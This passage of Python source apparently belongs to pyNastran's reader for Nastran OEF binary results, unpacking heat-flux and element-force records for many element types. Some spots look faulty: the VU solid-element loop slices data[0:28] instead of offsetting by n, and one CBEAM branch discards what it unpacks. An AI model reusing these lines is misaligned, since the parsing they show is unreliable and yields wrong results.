self._saved_results:\n return len(data)\n n = 0\n is_magnitude_phase = self.is_magnitude_phase()\n dt = self.nonlinear_factor\n\n if self.element_type in [1, 2, 3, 10, 34, 69]: # ROD,BEAM,TUBE,CONROD,BAR,BEND\n # 1-CROD\n # 2-CBEAM\n # 3-CTUBE\n # 10-CONROD\n # 34-CBAR\n # 69-CBEND\n if self.format_code == 1 and self.num_wide == 9: # real\n self.create_transient_object(self.thermalLoad_1D, HeatFlux_1D)\n\n ntotal = 36 # 10*4\n s = Struct(b'i8s6f')\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+ntotal]\n\n out = s.unpack(edata)\n (eid_device, eType, xGrad, yGrad, zGrad, xFlux, yFlux, zFlux) = out\n eid = (eid_device - self.device_code) // 10\n\n data_in = [eid, eType, xGrad, yGrad, zGrad, xFlux, yFlux, zFlux]\n #print \"heatFlux %s\" % (self.get_element_type(self.element_type)), data_in\n #eid = self.obj.add_new_eid(out)\n self.obj.add(dt, data_in)\n n += ntotal\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n\n elif self.element_type in [33, 53, 64, 74, 75, # CQUAD4, CTRIAX6, CQUAD8, CTRIA3, CTRIA6\n 39, 67, 68]: # TETRA, HEXA, PENTA\n # 33-QUAD4-centroidal\n # 53-TRIAX6\n # 64-QUAD8\n # 74-TRIA3\n # 75-TRIA6\n\n # 39-TETRA\n # 67-HEXA\n # 68-PENTA\n if self.format_code == 1 and self.num_wide == 9: # real - 2D\n # [33, 53, 64, 74, 75]\n self.create_transient_object(self.thermalLoad_2D_3D, HeatFlux_2D_3D)\n # no zed on this element for some reason...\n ntotal = 36\n nelements = len(data) // ntotal\n\n s = Struct(b'i8s6f')\n for i in range(nelements):\n edata = data[n:n+ntotal]\n n += ntotal\n out = s.unpack(edata)\n (eid_device, eType, xGrad, yGrad, zGrad, xFlux, yFlux, zFlux) = out\n eid = (eid_device - self.device_code) // 10\n dataIn = [eid, eType, xGrad, yGrad, zGrad, xFlux, yFlux, zFlux]\n self.obj.add(dt, dataIn)\n\n elif self.format_code == 1 and self.num_wide == 10: # real - 3D\n # [39, 67, 68]: # HEXA,PENTA\n self.create_transient_object(self.thermalLoad_2D_3D, HeatFlux_2D_3D)\n ntotal = 40\n nelements = len(data) // ntotal\n\n s = Struct(b'i8s6fi')\n for i in range(nelements):\n edata = data[n:n+ntotal]\n n += ntotal\n out = s.unpack(edata)\n (eid_device, eType, xGrad, yGrad, zGrad, xFlux, yFlux, zFlux, zed) = out\n eid = (eid_device - self.device_code) // 10\n dataIn = [eid, eType, xGrad, yGrad, zGrad, xFlux, yFlux, zFlux]\n self.obj.add(dt, dataIn)\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n elif self.element_type in [107, 108, 109]: # CHBDYE, CHBDYG, CHBDYP\n # 107-CHBDYE\n # 108-CHBDYG\n # 109-CHBDYP\n if self.format_code == 1 and self.num_wide == 8: # real\n self.create_transient_object(self.thermalLoad_CHBDY, HeatFlux_CHBDYx)\n\n s1 = Struct(b'i8s5f')\n ntotal = 32\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+32]\n n += ntotal\n out = s1.unpack(edata)\n (eid_device, eType, fApplied, freeConv, forceConv, fRad, fTotal) = out\n eid = (eid_device - self.device_code) // 10\n\n dataIn = [eid, eType, fApplied, freeConv, forceConv, fRad, fTotal]\n #print \"heatFlux %s\" %(self.get_element_type(self.element_type)),dataIn\n self.obj.add(dt, dataIn)\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n\n elif self.element_type in [110]:\n # 110-CONV\n if self.format_code == 1 and self.num_wide == 4:\n self.create_transient_object(self.thermalLoad_CONV, HeatFlux_CONV)\n s1 = Struct(b'ifif')\n ntotal = 16\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+16]\n n += 16\n out = s1.unpack(edata)\n (eid_device, cntlNode, freeConv, freeConvK) = out\n eid = (eid_device - self.device_code) // 10\n dataIn = [eid, cntlNode, freeConv, freeConvK]\n #print \"heatFlux %s\" %(self.get_element_type(self.element_type)),dataIn\n self.obj.add(dt, dataIn)\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n\n elif self.element_type in [145, 146, 147]: # VUHEXA,VUPENTA,VUTETRA\n # 145-VUHEXA\n # 146-VUPENTA\n # 147-VUTETRA\n self.create_transient_object(self.thermalLoad_VU_3D, HeatFlux_VU_3D)\n if self.element_type in [147]: # VUTETRA\n nnodes = 4\n elif self.element_type in [146]: # VUPENTA\n nnodes = 6\n elif self.element_type in [145]: # VUHEXA\n nnodes = 8\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n\n numwide_real = 2 + 7 * nnodes\n if self.format_code == 1 and self.num_wide == numwide_real: # real\n ntotal = 8 + 28 * nnodes\n s1 = Struct(b'ii')\n s2 = Struct(b'i6f')\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+8] # 2*4\n n += 8\n out = s1.unpack(edata)\n (eid_device, parent) = out\n eid = (eid_device - self.device_code) // 10\n dataIn = [eid, parent]\n gradFluxes = []\n for i in range(nnodes):\n edata = data[0:28]\n n += 28\n #print \"i=%s len(edata)=%s\" %(i,len(edata))\n out = s2.unpack(edata)\n gradFluxes.append(out)\n dataIn.append(gradFluxes)\n #print \"heatFlux %s\" %(self.get_element_type(self.element_type)),dataIn\n self.obj.add(nnodes, dt, dataIn)\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n\n elif self.element_type in [189, 190]: # VUQUAD,VUTRIA\n # 189-VUQUAD\n # 190-VUTRIA\n if self.format_code == 1 and self.num_wide == 27: # real\n self.create_transient_object(self.thermalLoad_VU, HeatFlux_VU)\n if self.element_type in [189]:\n nnodes = 4\n elif self.element_type in [190]:\n nnodes = 3\n elif self.element_type in [191]:\n nnodes = 2\n else:\n raise NotImplementedError(self.code_information())\n\n ntotal = 24 + 28 * nnodes\n s1 = Struct(b'iii4sii')\n s2 = Struct(b'i6f')\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+24] # 6*4\n n += 24\n\n out = s1.unpack(edata)\n (eid_device, parent, coord, icord, theta, null) = out\n eid = (eid_device - self.device_code) // 10\n dataIn = [eid, parent, coord, icord, theta]\n\n gradFluxes = []\n for i in range(nnodes):\n edata = data[n:n+28] # 7*4\n n += 28\n out = s2.unpack(edata)\n gradFluxes.append(out)\n dataIn.append(gradFluxes)\n #dataIn = [eid,eType,xGrad,yGrad,zGrad,xFlux,yFlux,zFlux]\n #print \"heatFlux %s\" %(self.get_element_type(self.element_type)),dataIn\n self.obj.add(nnodes, dt, dataIn)\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n\n elif self.element_type in [191]: # VUBEAM\n #assert self.num_wide==27,self.code_information()\n self.create_transient_object(self.thermalLoad_VUBeam, HeatFlux_VUBEAM)\n nnodes = 2\n\n numwide_real = 4 + 7 * nnodes\n if self.format_code == 1 and self.num_wide == numwide_real: # real\n ntotal = 16 + 28 * nnodes\n s1 = Struct(b'iii4s')\n s2 = Struct(b'i6f')\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+16] # 4*4\n n += 16\n\n out = s1.unpack(edata)\n (eid_device, parent, coord, icord) = out\n\n eid = (eid_device - self.device_code) // 10\n dataIn = [eid, parent, coord, icord]\n\n gradFluxes = []\n for i in range(nnodes):\n edata = data[n:n+28] # 7*4\n n += 28\n out = s2.unpack(edata)\n gradFluxes.append(out)\n dataIn.append(gradFluxes)\n\n #dataIn = [eid,eType,xGrad,yGrad,zGrad,xFlux,yFlux,zFlux]\n #print \"heatFlux %s\" %(self.get_element_type(self.element_type)),dataIn\n self.obj.add(nnodes, dt, dataIn)\n else:\n msg = 'OEF sort1 thermal Type=%s num=%s' % (self.element_name, self.element_type)\n return self._not_implemented_or_skip(data, msg)\n else:\n msg = 'OEF sort1 thermal Type=%s num=%s' % (self.element_name, self.element_type)\n return self._not_implemented_or_skip(data, msg)\n\n\n assert self.thermal == 1, self.thermal\n assert len(data) > 0, len(data)\n assert nelements > 0, 'nelements=%r element_type=%s element_name=%r' % (nelements, self.element_type, self.element_name)\n #assert len(data) % ntotal == 0, '%s n=%s nwide=%s len=%s ntotal=%s' % (self.element_name, len(data) % ntotal, len(data) % self.num_wide, len(data), ntotal)\n assert self.num_wide * 4 == ntotal, 'numwide*4=%s ntotal=%s' % (self.num_wide*4, ntotal)\n assert n > 0, n\n return n\n\n def print_obj_name_on_crash(func):\n \"\"\"\n Debugging function to print the object name and an needed parameters\n \"\"\"\n def new_func(self, data):\n \"\"\"\n The actual function exec'd by the decorated function.\n \"\"\"\n try:\n n = func(self, data)\n except:\n print(\"----------\")\n try:\n print(self.obj)\n except:\n print(\"error printing %r\" % self.obj.__class__.__name__)\n pass\n print(self.data_code)\n if self.obj is not None:\n #from pyNastran.utils import object_attributes\n #print object_attributes(self.obj)\n print(self.obj.data_code)\n print(\"----------\")\n raise\n return n\n return new_func\n\n @print_obj_name_on_crash\n def _read_oef1_loads(self, data):\n if 'element_forces' not in self._saved_results:\n return len(data)\n (num_wide_real, num_wide_imag) = self.OEF_ForceCode()\n if self.debug4():\n self.binary_debug.write(' num_wide_real = %r\\n' % num_wide_real)\n self.binary_debug.write(' num_wide_imag = %r\\n' % num_wide_imag)\n\n n = 0\n is_magnitude_phase = self.is_magnitude_phase()\n dt = self.nonlinear_factor\n\n if self.element_type in [1, 3, 10]: # rods\n #1-CROD\n #3-CTUBE\n #10-CONROD\n result_name = 'rodForces'\n slot = self.rodForces\n obj_real = RealRodForce\n obj_complex = ComplexRodForce\n\n obj_vector_real = RealRodForceArray\n obj_vector_complex = None #ComplexRodForceArray\n if self.element_type == 1: # CROD\n result_vector_name = 'crod_force'\n slot_vector = self.crod_force\n elif self.element_type == 3: # CTUBE\n result_vector_name = 'ctube_force'\n slot_vector = self.ctube_force\n elif self.element_type == 10: # CONROD\n result_vector_name = 'conrod_force'\n slot_vector = self.conrod_force\n else:\n msg = 'sort1 Type=%s num=%s' % (self.element_name, self.element_type)\n return self._not_implemented_or_skip(data, msg)\n\n if self.format_code == 1 and self.num_wide == 3: # real\n ntotal = 12 # 3 * 4\n nelements = len(data) // ntotal\n auto_return = self._create_oes_object2(nelements,\n result_name, result_vector_name,\n slot, slot_vector,\n obj_real, obj_vector_real)\n if auto_return:\n return nelements * self.num_wide * 4\n\n s = Struct(b'iff') # 3\n for i in range(nelements):\n edata = data[n:n+ntotal]\n out = s.unpack(edata)\n (eid_device, axial, torque) = out\n eid = (eid_device - self.device_code) // 10\n if self.debug4():\n self.binary_debug.write('OEF_Rod - %s\\n' % (str(out)))\n self.obj.add(dt, eid, axial, torque)\n n += ntotal\n\n elif self.format_code in [2, 3] and self.num_wide == 5: # imag\n self.create_transient_object(self.rodForces, ComplexRodForce)\n\n s = Struct(b'i4f')\n ntotal = 20 # 5*4\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+20]\n out = s.unpack(edata)\n (eid_device, axial_real, torque_real, axial_imag, torque_imag) = out\n\n if is_magnitude_phase:\n axial = polar_to_real_imag(axial_real, axial_imag)\n torque = polar_to_real_imag(torque_real, torque_imag)\n else:\n axial = complex(axial_real, axial_imag)\n torque = complex(torque_real, torque_imag)\n eid = (eid_device - self.device_code) // 10\n\n data_in = [eid, axial, torque]\n #print \"%s\" % (self.get_element_type(self.element_type)), data_in\n self.obj.add(dt, data_in)\n n += ntotal\n #print self.rodForces\n\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n #print self.rodForces\n\n elif self.element_type in [2]: # cbeam\n #2-CBEAM\n if self.read_mode == 1:\n return len(data)\n\n result_name = 'beamForces'\n if result_name not in self._saved_results:\n return len(data)\n self._found_results.add(result_name)\n if self.format_code == 1 and self.num_wide == 9: # real centroid ???\n self.create_transient_object(self.beamForces, RealCBeamForce)\n s = Struct(b'i8f') # 36\n ntotal = 36\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+36]\n out = s.unpack(edata)\n if self.debug4():\n self.binary_debug.write('OEF_Beam - %s\\n' % (str(out)))\n (eid_device, sd, bm1, bm2, ts1, ts2, af, ttrq, wtrq) = out\n eid = (eid_device - self.device_code) // 10\n n += 36\n\n elif self.format_code == 1 and self.num_wide == 100: # real\n self.create_transient_object(self.beamForces, RealCBeamForce)\n s1 = Struct(b'i')\n s2 = Struct(b'i8f') # 36\n\n ntotal = 400 # 1+(10-1)*11=100 ->100*4 = 400\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+4]\n eid_device, = s1.unpack(edata)\n eid = (eid_device - self.device_code) // 10\n n += 4\n\n for i in range(11):\n edata = data[n:n+36]\n out = s2.unpack(edata)\n if self.debug4():\n self.binary_debug.write('OEF_Beam - %s\\n' % (str(out)))\n (nid, sd, bm1, bm2, ts1, ts2, af, ttrq, wtrq) = out\n\n data_in = [eid, nid, sd, bm1, bm2, ts1, ts2, af, ttrq, wtrq]\n if i == 0: # isNewElement\n self.obj.add_new_element(dt, data_in)\n elif sd > 0.:\n self.obj.add(dt, data_in)\n n += 36\n elif self.format_code in [2, 3] and self.num_wide == 177: # imag\n self.create_transient_object(self.beamForces, ComplexCBeamForce)\n s1 = Struct(b'i')\n s2 = Struct(b'i15f')\n ntotal = 708 # (16*11+1)*4 = 177*4\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+4]\n eid_device, = s1.unpack(edata)\n eid = (eid_device - self.device_code) // 10\n\n n += 4\n for i in range(11):\n edata = data[n:n+64]\n n += 64\n\n out = s2.unpack(edata)\n (nid, sd, bm1r, bm2r, ts1r, ts2r, afr, ttrqr, wtrqr,\n bm1i, bm2i, ts1i, ts2i, afi, ttrqi, wtrqi) = out\n\n if is_magnitude_phase:\n bm1 = polar_to_real_imag(bm1r, bm1i)\n bm2 = polar_to_real_imag(bm2r, bm2i)\n ts1 = polar_to_real_imag(ts1r, ts1i)\n ts2 = polar_to_real_imag(ts2r, ts2i)\n af = polar_to_real_imag(afr, afi)\n ttrq = polar_to_real_imag(ttrqr, ttrqi)\n wtrq = polar_to_real_imag(wtrqr, wtrqi)\n else:\n bm1 = complex(bm1r, bm1i)\n bm2 = complex(bm2r, bm2i)\n ts1 = complex(ts1r, ts1i)\n ts2 = complex(ts2r, ts2i)\n af = complex(afr, afi)\n ttrq = complex(ttrqr, ttrqi)\n wtrq = complex(wtrqr, wtrqi)\n #eid = self.obj.add_new_eid(out)\n if i == 0: # isNewElement:\n data_in = [eid, nid, sd, bm1, bm2,\n ts1, ts2, af, ttrq, wtrq]\n #print \"%s cNew \" % (self.get_element_type(self.element_type)), data_in\n self.obj.add_new_element(dt, data_in)\n elif sd > 0.:\n data_in = [eid, nid, sd, bm1, bm2,\n ts1, ts2, af, ttrq, wtrq]\n #print \"%s cOld \" % (self.get_element_type(self.element_type)), data_in\n self.obj.add(dt, data_in)\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n #print self.beamForces\n\n elif self.element_type in [11, 12, 13, 14, # springs\n 20, 21, 22, 23]: # dampers\n if self.read_mode == 1:\n return len(data)\n # 11-CELAS1\n # 12-CELAS2\n # 13-CELAS3\n # 14-CELAS4\n\n # 20-CDAMP1\n # 21-CDAMP2\n # 22-CDAMP3\n # 23-CDAMP4\n if self.format_code == 1 and self.num_wide == 2: # real\n if self.element_type in [11, 12, 13, 14]:\n self.create_transient_object(self.springForces, RealSpringForce)\n elif self.element_type in [20, 21, 22, 23]:\n self.create_transient_object(self.damperForces, RealDamperForce)\n else:\n msg = self.element_type\n return self._not_implemented_or_skip(data, msg)\n\n s = Struct(b'if') # 2\n ntotal = 8 # 2*4\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+8]\n\n out = s.unpack(edata)\n if self.debug4():\n self.binary_debug.write('OEF_SpringDamper - %s\\n' % str(out))\n (eid_device, force) = out\n eid = (eid_device - self.device_code) // 10\n\n data_in = [eid, force]\n #print \"%s\" % (self.get_element_type(self.element_type)), data_in\n self.obj.add(dt, data_in)\n n += ntotal\n elif self.format_code in [2, 3] and self.num_wide == 3: # imag\n if self.element_type in [11, 12, 13, 14]:\n self.create_transient_object(self.springForces, ComplexSpringForce)\n elif self.element_type in [20, 21, 22, 23]:\n self.create_transient_object(self.damperForces, ComplexDamperForce)\n else:\n msg = self.element_type\n return self._not_implemented_or_skip(data, msg)\n\n s = Struct(b'i2f')\n ntotal = 12 # 3*4\n\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+12]\n out = s.unpack(edata)\n (eid_device, force_real, force_imag) = out\n eid = (eid_device - self.device_code) // 10\n\n if is_magnitude_phase:\n force = polar_to_real_imag(force_real, force_imag)\n else:\n force = complex(force_real, force_imag)\n\n data_in = [eid, force]\n #print \"%s\" % (self.get_element_type(self.element_type)), data_in\n #eid = self.obj.add_new_eid(out)\n self.obj.add(dt, data_in)\n n += ntotal\n else:\n msg = self.element_type\n return self._not_implemented_or_skip(data, msg)\n #print self.springForces\n\n elif self.element_type in [24]: # CVISC\n if self.read_mode == 1:\n return len(data)\n if self.format_code == 1 and self.num_wide == 3: # real\n self.create_transient_object(self.viscForces, RealViscForce)\n s = Struct(b'iff')\n ntotal = 12 # 3*4\n nelements = len(data) // 12\n for i in range(nelements):\n edata = data[n:n+12]\n\n out = s.unpack(edata)\n if self.debug4():\n self.binary_debug.write('OEF_CVisc - %s\\n' % (str(out)))\n (eid_device, axial, torque) = out\n eid = (eid_device - self.device_code) // 10\n\n data_in = [eid, axial, torque]\n #print \"%s\" % (self.get_element_type(self.element_type)), data_in\n #eid = self.obj.add_new_eid(out)\n self.obj.add(dt, data_in)\n n += ntotal\n elif self.format_code in [2, 3] and self.num_wide == 5: # complex\n self.create_transient_object(self.viscForces, ComplexViscForce)\n s = Struct(b'i4f') # 5\n ntotal = 20 # 5*4\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+20]\n\n out = s.unpack(edata)\n (eid_device, axial_real, torque_real, axial_imag, torque_imag) = out\n eid = (eid_device - self.device_code) // 10\n\n if is_magnitude_phase:\n axial = polar_to_real_imag(axial_real, axial_imag)\n torque = polar_to_real_imag(torque_real, torque_imag)\n else:\n axial = complex(axial_real, axial_imag)\n torque = complex(torque_real, torque_imag)\n\n data_in = [eid, axial, torque]\n #print \"%s\" % (self.get_element_type(self.element_type)), data_in\n #eid = self.obj.add_new_eid(out)\n self.obj.add(dt, data_in)\n n += ntotal\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n #print self.viscForces\n\n elif self.element_type in [34]: # cbar\n # 34-CBAR\n if self.read_mode == 1:\n return len(data)\n if self.format_code == 1 and self.num_wide == 9: # real\n self.create_transient_object(self.barForces, RealCBarForce)\n s = Struct(b'i8f') # 9\n ntotal = 36 # 9*4\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+36]\n\n out = s.unpack(edata)\n if self.debug4():\n self.binary_debug.write('OEF_CBar - %s\\n' % (str(out)))\n (eid_device, bm1a, bm2a, bm1b, bm2b, ts1, ts2, af, trq) = out\n eid = (eid_device - self.device_code) // 10\n\n data_in = [eid, bm1a, bm2a, bm1b, bm2b, ts1, ts2, af, trq]\n #print \"%s\" % (self.get_element_type(self.element_type)), data_in\n #eid = self.obj.add_new_eid(out)\n self.obj.add(dt, data_in)\n n += ntotal\n elif self.format_code in [2, 3] and self.num_wide == 17: # imag\n self.create_transient_object(self.barForces, ComplexCBarForce)\n s = Struct(b'i16f')\n ntotal = 68 # 17*4\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+68]\n\n out = s.unpack(edata)\n (eid_device, bm1ar, bm2ar, bm1br, bm2br, ts1r, ts2r, afr, trqr,\n bm1ai, bm2ai, bm1bi, bm2bi, ts1i, ts2i, afi, trqi) = out\n eid = (eid_device - self.device_code) // 10\n\n if is_magnitude_phase:\n bm1a = polar_to_real_imag(bm1ar, bm1ai)\n bm2a = polar_to_real_imag(bm2ar, bm2ai)\n bm1b = polar_to_real_imag(bm1br, bm1bi)\n bm2b = polar_to_real_imag(bm2br, bm2bi)\n ts1 = polar_to_real_imag(ts1r, ts1i)\n ts2 = polar_to_real_imag(ts2r, ts2i)\n af = polar_to_real_imag(afr, afi)\n trq = polar_to_real_imag(trqr, trqi)\n else:\n bm1a = complex(bm1ar, bm1ai)\n bm2a = complex(bm2ar, bm2ai)\n bm1b = complex(bm1br, bm1bi)\n bm2b = complex(bm2br, bm2bi)\n ts1 = complex(ts1r, ts1i)\n ts2 = complex(ts2r, ts2i)\n af = complex(afr, afi)\n trq = complex(trqr, trqi)\n\n data_in = [eid, bm1a, bm2a, bm1b, bm2b, ts1, ts2, af, trq]\n #print \"%s\" % (self.get_element_type(self.element_type)), data_in\n #eid = self.obj.add_new_eid(out)\n self.obj.add(dt, data_in)\n n += ntotal\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n #print self.barForces\n\n elif self.element_type in [100]: # cbar\n #100-BARS\n if self.read_mode == 1:\n return len(data)\n if self.format_code == 1 and self.num_wide == 8: # real\n self.create_transient_object(self.bar100Forces, RealCBar100Force)\n\n s = Struct(b'i7f')\n ntotal = 32 # 8*4\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+32]\n\n out = s.unpack(edata)\n (eid_device, sd, bm1, bm2, ts1, ts2, af, trq) = out\n eid = (eid_device - self.device_code) // 10\n\n if self.debug4():\n self.binary_debug.write('OEF_CBar100 - %s\\n' % (str(out)))\n\n data_in = [eid, sd, bm1, bm2, ts1, ts2, af, trq]\n #print \"%s\" %(self.get_element_type(self.element_type)), data_in\n #eid = self.obj.add_new_eid(out)\n self.obj.add(dt, data_in)\n n += 32\n #elif self.format_code in [2, 3] and self.num_wide == 14: # imag\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n\n elif self.element_type in [33, 74]: # centroidal shells\n # 33-CQUAD4\n # 74-CTRIA3\n result_name = 'plateForces'\n slot = self.plateForces\n obj_real = RealPlateForce\n obj_complex = ComplexPlateForce\n\n #result_vector_name\n ComplexPlateForceArray = None\n obj_vector_real = RealPlateForceArray\n obj_vector_complex = ComplexPlateForceArray\n if self.element_type == 33: # CQUAD4\n result_vector_name = 'cquad4_force'\n slot_vector = self.cquad4_force\n elif self.element_type == 74: # CTRIA3\n result_vector_name = 'ctria3_force'\n slot_vector = self.ctria3_force\n else:\n msg = 'sort1 Type=%s num=%s' % (self.element_name, self.element_type)\n return self._not_implemented_or_skip(data, msg)\n\n\n if self.format_code == 1 and self.num_wide == 9: # real\n ntotal = 36 # 9*4\n nelements = len(data) // ntotal\n auto_return = self._create_oes_object2(nelements,\n result_name, result_vector_name,\n slot, slot_vector,\n obj_real, obj_vector_real)\n if auto_return:\n return nelements * self.num_wide * 4\n\n s = Struct(b'i8f')\n for i in range(nelements):\n edata = data[n:n+36]\n\n out = s.unpack(edata)\n if self.debug4():\n self.binary_debug.write('real_OEF_Plate-%s - %s\\n' % (self.element_type, str(out)))\n (eid_device, mx, my, mxy, bmx, bmy, bmxy, tx, ty) = out\n eid = (eid_device - self.device_code) // 10\n assert eid > 0, 'eid_device=%s eid=%s table_name-%r' % (eid_device, eid, self.table_name)\n\n #print \"%s\" % (self.get_element_type(self.element_type)), data_in\n #eid = self.obj.add_new_eid(out)\n self.obj.add(dt, eid, mx, my, mxy, bmx, bmy, bmxy, tx, ty)\n n += ntotal\n elif self.format_code in [2, 3] and self.num_wide == 17: # imag\n if self.read_mode == 1:\n return len(data)\n self.create_transient_object(self.plateForces, ComplexPlateForce)\n s = Struct(b'i16f')\n\n ntotal = 68\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+68]\n out = s.unpack(edata)\n (eid_device, mxr, myr, mxyr, bmxr, bmyr, bmxyr, txr, tyr,\n mxi, myi, mxyi, bmxi, bmyi, bmxyi, txi, tyi) = out\n eid = (eid_device - self.device_code) // 10\n assert eid > 0\n if self.debug4():\n self.binary_debug.write('complex_OEF_Plate-%s - %s\\n' % (self.element_type, str(out)))\n\n if is_magnitude_phase:\n mx = polar_to_real_imag(mxr, mxi)\n my = polar_to_real_imag(myr, myi)\n mxy = polar_to_real_imag(mxyr, mxyi)\n bmx = polar_to_real_imag(bmxr, bmxi)\n bmy = polar_to_real_imag(bmyr, bmyi)\n bmxy = polar_to_real_imag(bmxyr, bmxyi)\n tx = polar_to_real_imag(txr, txi)\n ty = polar_to_real_imag(tyr, tyi)\n else:\n mx = complex(mxr, mxi)\n my = complex(myr, myi)\n mxy = complex(mxyr, mxyi)\n bmx = complex(bmxr, bmxi)\n bmy = complex(bmyr, bmyi)\n bmxy = complex(bmxyr, bmxyi)\n tx = complex(txr, txi)\n ty = complex(tyr, tyi)\n #print \"%s\" % (self.get_element_type(self.element_type)), data_in\n self.obj.add(dt, eid, mx, my, mxy, bmx, bmy, bmxy, tx, ty)\n n += ntotal\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n #print self.plateForces\n\n elif self.element_type in [64, 70, 75, 82, 144]: # bilinear shells\n # 64-CQUAD8\n # 70-CTRIAR\n # 75-CTRIA6\n # 82-CQUAD8\n # 144-CQUAD4-bilinear\n if self.element_type in [70, 75]: # CTRIAR,CTRIA6\n nnodes = 3\n elif self.element_type in [64, 82, 144]: # CQUAD8,CQUADR,CQUAD4-bilinear\n nnodes = 4\n else:\n msg = 'name=%r type=%r' % (self.element_name, self.element_type)\n return self._not_implemented_or_skip(data, msg)\n\n numwide_real = 2 + (nnodes + 1) * 9 # centroidal node is the + 1\n numwide_imag = 2 + (nnodes + 1) * 17\n\n if 0:\n result_name = 'plateForces2'\n slot = self.plateForces2\n obj_real = RealPlate2Force\n obj_complex = ComplexPlate2Force\n\n #result_vector_name\n RealPlateForce2Array = None\n ComplexPlateForce2Array = None\n obj_vector_real = RealPlateForce2Array\n obj_vector_complex = ComplexPlateForce2Array\n if self.element_type == 144: # CQUAD4\n result_vector_name = 'cquad4_force'\n slot_vector = self.cquad4_force\n #elif self.element_type == 74: # CTRIA3\n #result_vector_name = 'ctria3_force'\n #slot_vector = self.ctria3_force\n else:\n msg = 'sort1 Type=%s num=%s' % (self.element_name, self.element_type)\n return self._not_implemented_or_skip(data, msg)\n\n result_name = 'plateForces2'\n if result_name not in self._saved_results:\n return len(data)\n self._found_results.add(result_name)\n if self.format_code == 1 and self.num_wide == numwide_real: # real\n if self.read_mode == 1:\n return len(data)\n\n self.create_transient_object(self.plateForces2, RealPlate2Force)\n ntotal = 8 + (nnodes+1) * 36 # centroidal node is the + 1\n assert ntotal == self.num_wide * 4, 'ntotal=%s numwide=%s' % (ntotal, self.num_wide * 4)\n nelements = len(data) // ntotal\n #auto_return = self._create_oes_object2(nelements,\n #result_name, result_vector_name,\n #slot, slot_vector,\n #obj_real, obj_vector_real)\n #if auto_return:\n #return nelements * self.num_wide * 4\n\n s1 = Struct(b'i4si8f') # 8+36\n s2 = Struct(b'i8f') # 36\n nelements = len(data) // ntotal\n\n for i in range(nelements):\n edata = data[n:n+44]\n\n out = s1.unpack(edata)\n if self.debug4():\n self.binary_debug.write('OEF_Plate2-%s - %s\\n' % (self.element_type, str(out)))\n (eid_device, term, nid, mx, my, mxy, bmx, bmy, bmxy, tx, ty) = out\n #term= 'CEN\\'\n\n eid = (eid_device - self.device_code) // 10\n assert eid > 0, eid\n\n #print \"%s\" % (self.get_element_type(self.element_type)), dt, term, nid, mx, my, mxy, bmx, bmy, bmxy, tx, ty\n self.obj.add_new_element(eid, dt, term, nid, mx, my, mxy, bmx, bmy, bmxy, tx, ty)\n n += 44\n for i in range(nnodes):\n edata = data[n : n + 36]\n out = s2.unpack(edata)\n if self.debug4():\n self.binary_debug.write(' %s\\n' % (str(out)))\n (nid, mx, my, mxy, bmx, bmy, bmxy, tx, ty) = out\n assert nid > 0, 'nid=%s' % nid\n data_in = [nid, mx, my, mxy, bmx, bmy, bmxy, tx, ty]\n #print \"***%s \" % (self.get_element_type(self.element_type)), data_in\n self.obj.add(eid, dt, nid, mx, my, mxy, bmx, bmy, bmxy, tx, ty)\n n += 36\n elif self.format_code in [2, 3] and self.num_wide == numwide_imag: # complex\n if self.read_mode == 1:\n return len(data)\n\n self.create_transient_object(self.plateForces2, ComplexPlate2Force)\n s1 = Struct(b'i4s17f') # 2+17=19 * 4 = 76\n s2 = Struct(b'i16f') # 17 * 4 = 68\n ntotal = 8 + (nnodes+1) * 68\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+76]\n n += 76\n\n out = s1.unpack(edata)\n (eid_device, term, nid, mxr, myr, mxyr, bmxr, bmyr, bmxyr, txr, tyr,\n mxi, myi, mxyi, bmxi, bmyi, bmxyi, txi, tyi) = out\n #term = 'CEN\\'\n\n eid = (eid_device - self.device_code) // 10\n if is_magnitude_phase:\n mx = polar_to_real_imag(mxr, mxi)\n my = polar_to_real_imag(myr, myi)\n mxy = polar_to_real_imag(mxyr, mxyi)\n bmx = polar_to_real_imag(bmxr, bmxi)\n bmy = polar_to_real_imag(bmyr, bmyi)\n bmxy = polar_to_real_imag(bmxyr, bmxyi)\n tx = polar_to_real_imag(txr, txi)\n ty = polar_to_real_imag(tyr, tyi)\n else:\n mx = complex(mxr, mxi)\n my = 